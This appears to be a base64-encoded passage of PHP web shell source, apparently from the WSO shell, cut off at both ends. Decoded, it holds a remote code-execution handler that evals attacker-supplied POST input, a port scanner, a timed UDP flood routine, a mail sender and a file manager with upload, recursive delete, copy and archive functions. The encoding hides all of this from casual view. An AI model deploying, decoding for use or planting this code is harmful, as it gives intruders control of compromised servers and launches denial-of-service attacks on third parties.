snZnJvbSddOyANCiAgICBtYWlsICgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqZWN0J10sJF9QT1NUWydib2R5J10sJGhlYWRlcnMpOyANCiAgICBlY2hvICdFbWFpbCBzZW50Lic7IA0KfSANCiAgDQovL3BvcnQgc2Nhbm5lciANCmVjaG8gJzxicj48Yj5Qb3J0IFNjYW5uZXI8L2I+PGJyPic7IA0KJHN0YXJ0ID0gc3RyaXBfdGFncygkX1BPU1RbJ3N0YXJ0J10pOyANCiRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOyANCiRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2hvc3QnXSk7IA0KICANCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7IA0KZm9yKCRpID0gJHN0YXJ0OyAkaTw9JGVuZDsgJGkrKyl7IA0KICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOyANCiAgICBpZigkZnApeyANCiAgICAgICAgZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9Z3JlZW4+b3BlbjwvZm9udD48YnI+JzsgDQogICAgfSANCiAgICBmbHVzaCgpOyANCiAgICB9IA0KfWVsc2V7IA0KPz4gDQo8Zm9ybSBhY3Rpb249Ij8iIG1ldGhvZD0iUE9TVCI+IA0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InBocHRvb2xzIj4gDQpIb3N0OjxiciAvPiANCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+IA0KUG9ydCBzdGFydDo8YnIgLz4gDQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PGJyIC8+IA0KUG9ydCBlbmQ6PGJyIC8+IA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiBQb3J0cyIgLz4gDQo8L2Zvcm0+IA0KPD9waHAgDQp9IA0KICANCi8vVURQIA0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pJiZpc19udW1lcmljKCRfUE9TVFsndGltZSddKSl7IA0KICAgICRwYWtpdHMgPSAwOyANCiAgICBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsgDQogICAgc2V0X3RpbWVfbGltaXQoMCk7IA0KICAgICAgDQogICAgJGV4ZWNfdGltZSA9ICRfUE9TVFsndGltZSddOyANCiAgICAgIA0KICAgICR0aW1lID0gdGltZSgpOyANCiAgICAvL3ByaW50ICJTdGFydGVkOiAiLnRpbWUoJ2g6aTpzJykuIjxicj4iOyANCiAgICAkbWF4X3RpbWUgPSAkdGltZSskZXhlY190aW1lOyANCiAgDQogICAgJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsgDQogICAgICANCiAgICBmb3IoJGk9MDskaTw2NTAwMDskaSsrKXsgDQogICAgICAgICAgICAkb3V0IC49ICdYJzsgDQogICAgfSANCiAgICB3aGlsZSgxKXsgDQogICAgJHBha2l0cysrOyANCiAgICAgICAgICAgIGlmKHRpbWUoKSA+ICRtYXhfdGltZSl7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJHJhbmQgPSByYW5kKDEsNjUwMDApOyANCiAgICAgICAgICAgICRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHJhbmQsICRlcnJubywgJGVycnN0ciwgNSk7IA0KICAgICAgICAgICAgaWYoJGZwKXsgDQogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRvdXQpOyANCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICB9IA0KICAgIGVjaG8gIjxicj48Yj5VRFAgRmxvb2Q8L2I+PGJyPkNvbXBsZXRlZCB3aXRoICRwYWtpdHMgKCIgLiByb3VuZCgoJHBha2l0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFraXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQgbiI7IA0KICAgIGVjaG8gJzxicj48YnI+IA0KICAgICAgICA8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyIgbWV0aG9kPVBPU1Q+IA0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiANCiAgICAgICAgSG9zdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0PiANCiAgICAgICAgTGVuZ3RoIChzZWNvbmRzKTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWUgdmFsdWU9OTk5OT4gDQogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsgDQp9ZWxzZXsgZWNobyAnPGJyPjxiPlVEUCBGbG9vZDwvYj48YnI+IA0KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPT8gbWV0aG9kPVBPU1Q+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InBocHRvb2xzIj4gDQogICAgICAgICAgICBIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4gDQogICAgICAgICAgICBMZW5ndGggKHNlY29uZHMpOiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWUgdmFsdWU9OTk5OT48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUdvPjwvZm9ybT4nOyANCn0gDQo/PjwvY2VudGVyPjw/cGhwIA0Kd3NvRm9vdGVyKCk7fSANCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJucnRcJwAiKSAuICInO24iOyANCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAibiIsICR0ZW1wOyANCiAgICAgICAgZXhpdDsgDQogICAgfSANCiAgICB3c29IZWFkZXIoKTsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykpIHsgDQogICAgICAgIGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIHBocGluZm8oKTsgDQogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOncrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOyANCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOyANCiAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsgDQogICAgfSANCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gZmFsc2U7IA0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YSgnUGhwJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZygnUGhwJyxudWxsLHRoaXMuY29kZS52YWx1ZSwnJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOyANCiAgICBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsgDQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOyANCiAgICB9IA0KICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgeyANCiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOiANCiAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzogDQogICAgICAgICAgICAgICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICBjYXNlICdkZWxldGUnOiANCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsgDQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7IA0KICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOyANCiAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCRwYXRoKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gdXJsZGVjb2RlKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAncGFzdGUnOiANCiAgICAgICAgICAgICAgICBpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5JykgeyANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAb3BlbmRpcigkYy4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgDQogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgeyANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAb3BlbmRpcigkYy4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgQHJlbmFtZSgkX1NFU1NJT05bJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsgDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJykgeyANCiAgICAgICAgICAgICAgICAgICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfU0VTU0lPTlsnYyddLiRmKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfU0VTU0lPTlsnYyddLiRmLCAkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3VuemlwJykgeyANCiAgICAgICAgICAgICAgICAgICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpIHsgDQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfU0VTU0lPTlsnZiddKTsgDQogICAgICAgICAgICAgICAgICAgIHdzb0V4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX1NFU1NJT05bJ2YnXSkpOyANCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2YnXSk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGRlZmF1bHQ6IA0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikgDQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7IGVjaG8gJ0Nhbid0IG9wZW4gdGhpcyBmb2xkZXIhJzt3c29Gb290ZXIoKTsgcmV0dXJuOyB9IA0KICAgIGdsb2JhbCAkc29ydDsgDQogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkgDQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOyANCiAgICB9IA0KZWNobyAiPHNjcmlwdD4gDQogICAgZnVuY3Rpb24gc2EoKSB7IA0KICAgICAgICBmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKSANCiAgICAgICAgICAgIGlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKSANCiAgICAgICAgICAgICAgICBkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7IA0KICAgIH0gDQogIA0KPC9zY3JpcHQ+IA0KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4gDQo8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIixudWxsLCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLG51bGwsInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiIiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIixudWxsLCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIiIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7IA0KICAgICRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsgDQogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7IA0KICAgIGZvcigkaT0wOyRpPCRuOyRpKyspIHsgDQogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOyANCiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7IA0KICAgICAgICAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwgDQogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwgDQogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksIA0KICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksIA0KICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwgDQogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwgDQogICAgICAgICAgICAgICAgICAgICAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSANCiAgICAgICAgICAgICAgICAgICAgKTsgDQogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpIA0KICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7IA0KICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkgDQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsgDQogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpIA0KICAgICAgICAgICAgJGRpcnNbXSA9I